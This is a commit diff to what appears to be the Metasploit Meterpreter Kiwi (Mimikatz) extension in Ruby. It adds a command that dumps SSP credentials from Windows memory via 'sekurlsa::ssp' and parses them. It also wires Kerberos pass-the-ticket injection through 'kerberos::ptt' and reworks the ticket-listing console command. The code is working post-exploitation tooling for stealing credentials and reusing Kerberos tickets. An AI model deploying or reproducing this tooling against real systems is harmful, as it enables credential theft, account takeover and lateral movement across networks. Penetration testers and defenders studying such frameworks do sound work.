SSP creds and golden tickets
parent
0bca485858
commit
e6e2388256
|
@ -95,6 +95,10 @@ class Kiwi < Extension
|
||||||
exec_cmd('lsadump::cache')
|
exec_cmd('lsadump::cache')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def creds_ssp
|
||||||
|
{ ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
|
||||||
|
end
|
||||||
|
|
||||||
def creds_msv
|
def creds_msv
|
||||||
{ msv: parse_msv(exec_cmd('sekurlsa::msv')) }
|
{ msv: parse_msv(exec_cmd('sekurlsa::msv')) }
|
||||||
end
|
end
|
||||||
|
@ -115,12 +119,45 @@ class Kiwi < Extension
|
||||||
output = exec_cmd('sekurlsa::logonpasswords')
|
output = exec_cmd('sekurlsa::logonpasswords')
|
||||||
{
|
{
|
||||||
msv: parse_msv(output),
|
msv: parse_msv(output),
|
||||||
|
ssp: parse_ssp(output),
|
||||||
wdigest: parse_wdigest(output),
|
wdigest: parse_wdigest(output),
|
||||||
tspkg: parse_tspkg(output),
|
tspkg: parse_tspkg(output),
|
||||||
kerberos: parse_kerberos(output)
|
kerberos: parse_kerberos(output)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def parse_ssp(output)
|
||||||
|
results = {}
|
||||||
|
lines = output.lines
|
||||||
|
|
||||||
|
while lines.length > 0 do
|
||||||
|
line = lines.shift
|
||||||
|
|
||||||
|
# search for an wdigest line
|
||||||
|
next if line !~ /\sssp\s:/
|
||||||
|
|
||||||
|
line = lines.shift
|
||||||
|
|
||||||
|
# are there interesting values?
|
||||||
|
while line =~ /\[\d+\]/
|
||||||
|
line = lines.shift
|
||||||
|
# then the next 3 lines should be interesting
|
||||||
|
ssp = {}
|
||||||
|
3.times do
|
||||||
|
k, v = read_value(line)
|
||||||
|
ssp[k.strip] = v if k
|
||||||
|
line = lines.shift
|
||||||
|
end
|
||||||
|
|
||||||
|
if ssp.length > 0
|
||||||
|
results[ssp.values.join('|')] = ssp
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
results.values
|
||||||
|
end
|
||||||
|
|
||||||
def parse_wdigest(output)
|
def parse_wdigest(output)
|
||||||
results = {}
|
results = {}
|
||||||
lines = output.lines
|
lines = output.lines
|
||||||
|
@ -273,9 +310,9 @@ class Kiwi < Extension
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
def kerberos_ticket_use(ticket)
|
def kerberos_ticket_use(base64_ticket)
|
||||||
base64_content = Rex::Text.encode(ticket)
|
result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
|
||||||
true
|
result.strip.end_with?(': OK')
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -327,7 +364,7 @@ class Kiwi < Extension
|
||||||
|
|
||||||
saving = false
|
saving = false
|
||||||
content = []
|
content = []
|
||||||
output.lines.each do |l|
|
output.lines.map(&:strip).each do |l|
|
||||||
if l.start_with?('Base64 of file')
|
if l.start_with?('Base64 of file')
|
||||||
saving = true
|
saving = true
|
||||||
elsif saving
|
elsif saving
|
||||||
|
@ -339,7 +376,7 @@ class Kiwi < Extension
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
Rex::Text.decode_base64(content[1, content.length].join(''))
|
content.join('')
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -63,7 +63,7 @@ class Console::CommandDispatcher::Kiwi
|
||||||
'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
|
'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
|
||||||
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
|
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
|
||||||
#'creds_livessp' => 'Retrieve LiveSSP creds',
|
#'creds_livessp' => 'Retrieve LiveSSP creds',
|
||||||
#'creds_ssp' => 'Retrieve SSP creds',
|
'creds_ssp' => 'Retrieve SSP creds',
|
||||||
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
|
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
|
||||||
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
|
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
|
||||||
'creds_all' => 'Retrieve all credentials (parsed)',
|
'creds_all' => 'Retrieve all credentials (parsed)',
|
||||||
|
@ -228,8 +228,6 @@ class Console::CommandDispatcher::Kiwi
|
||||||
#
|
#
|
||||||
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help banner' ],
|
'-h' => [ false, 'Help banner' ],
|
||||||
'-e' => [ false, 'Export Kerberos tickets to disk' ],
|
|
||||||
'-p' => [ true, 'Path to export Kerberos tickets to' ]
|
|
||||||
)
|
)
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -251,64 +249,14 @@ class Console::CommandDispatcher::Kiwi
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# default to not exporting
|
output = client.kiwi.kerberos_ticket_list.strip
|
||||||
export = false
|
if output == ''
|
||||||
# default to the current folder for dumping tickets
|
print_error('No kerberos tickets exist in the current session.')
|
||||||
export_path = '.'
|
else
|
||||||
|
print_good('Kerberos tickets found in the current session.')
|
||||||
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
|
print_line(output)
|
||||||
case opt
|
|
||||||
when '-e'
|
|
||||||
export = true
|
|
||||||
when '-p'
|
|
||||||
export_path = val
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
tickets = client.kiwi.kerberos_ticket_list(export)
|
|
||||||
print_line(tickets)
|
|
||||||
|
|
||||||
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
|
|
||||||
fields << 'Export Path' if export
|
|
||||||
|
|
||||||
table = Rex::Text::Table.new(
|
|
||||||
'Header' => 'Kerberos Tickets',
|
|
||||||
'Indent' => 0,
|
|
||||||
'SortIndex' => 0,
|
|
||||||
'Columns' => fields
|
|
||||||
)
|
|
||||||
|
|
||||||
tickets.each do |t|
|
|
||||||
flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
|
|
||||||
values = [
|
|
||||||
"#{t[:server]} @ #{t[:server_realm]}",
|
|
||||||
"#{t[:client]} @ #{t[:client_realm]}",
|
|
||||||
t[:start],
|
|
||||||
t[:end],
|
|
||||||
t[:max_renew],
|
|
||||||
"#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
|
|
||||||
]
|
|
||||||
|
|
||||||
# write out each ticket to disk if export is enabled.
|
|
||||||
if export
|
|
||||||
path = '<no data retrieved>'
|
|
||||||
if t[:raw]
|
|
||||||
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
|
|
||||||
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
|
|
||||||
path = ::File.expand_path(File.join(export_path, file))
|
|
||||||
::File.open(path, 'wb') do |x|
|
|
||||||
x.write t[:raw]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
values << path
|
|
||||||
end
|
|
||||||
|
|
||||||
table << values
|
|
||||||
end
|
end
|
||||||
|
|
||||||
print_line
|
print_line
|
||||||
print_line(table.to_s)
|
|
||||||
print_line("Total Tickets : #{tickets.length}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -334,9 +282,12 @@ class Console::CommandDispatcher::Kiwi
|
||||||
ticket += f.read(f.stat.size)
|
ticket += f.read(f.stat.size)
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
|
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...")
|
||||||
client.kiwi.kerberos_ticket_use(ticket)
|
if client.kiwi.kerberos_ticket_use(ticket)
|
||||||
print_good('Kerberos ticket applied successfully')
|
print_good('Kerberos ticket applied successfully.')
|
||||||
|
else
|
||||||
|
print_error('Kerberos ticket application failed.')
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -423,10 +374,10 @@ class Console::CommandDispatcher::Kiwi
|
||||||
#
|
#
|
||||||
# Dump all SSP credentials to screen.
|
# Dump all SSP credentials to screen.
|
||||||
#
|
#
|
||||||
#def cmd_creds_ssp(*args)
|
def cmd_creds_ssp(*args)
|
||||||
# method = Proc.new { client.kiwi.ssp }
|
method = Proc.new { client.kiwi.creds_ssp }
|
||||||
# scrape_passwords('ssp', method, args)
|
scrape_passwords('ssp', method, args)
|
||||||
#end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Dump all TSPKG credentials to screen.
|
# Dump all TSPKG credentials to screen.
|
||||||
|
|
Loading…
Reference in New Issue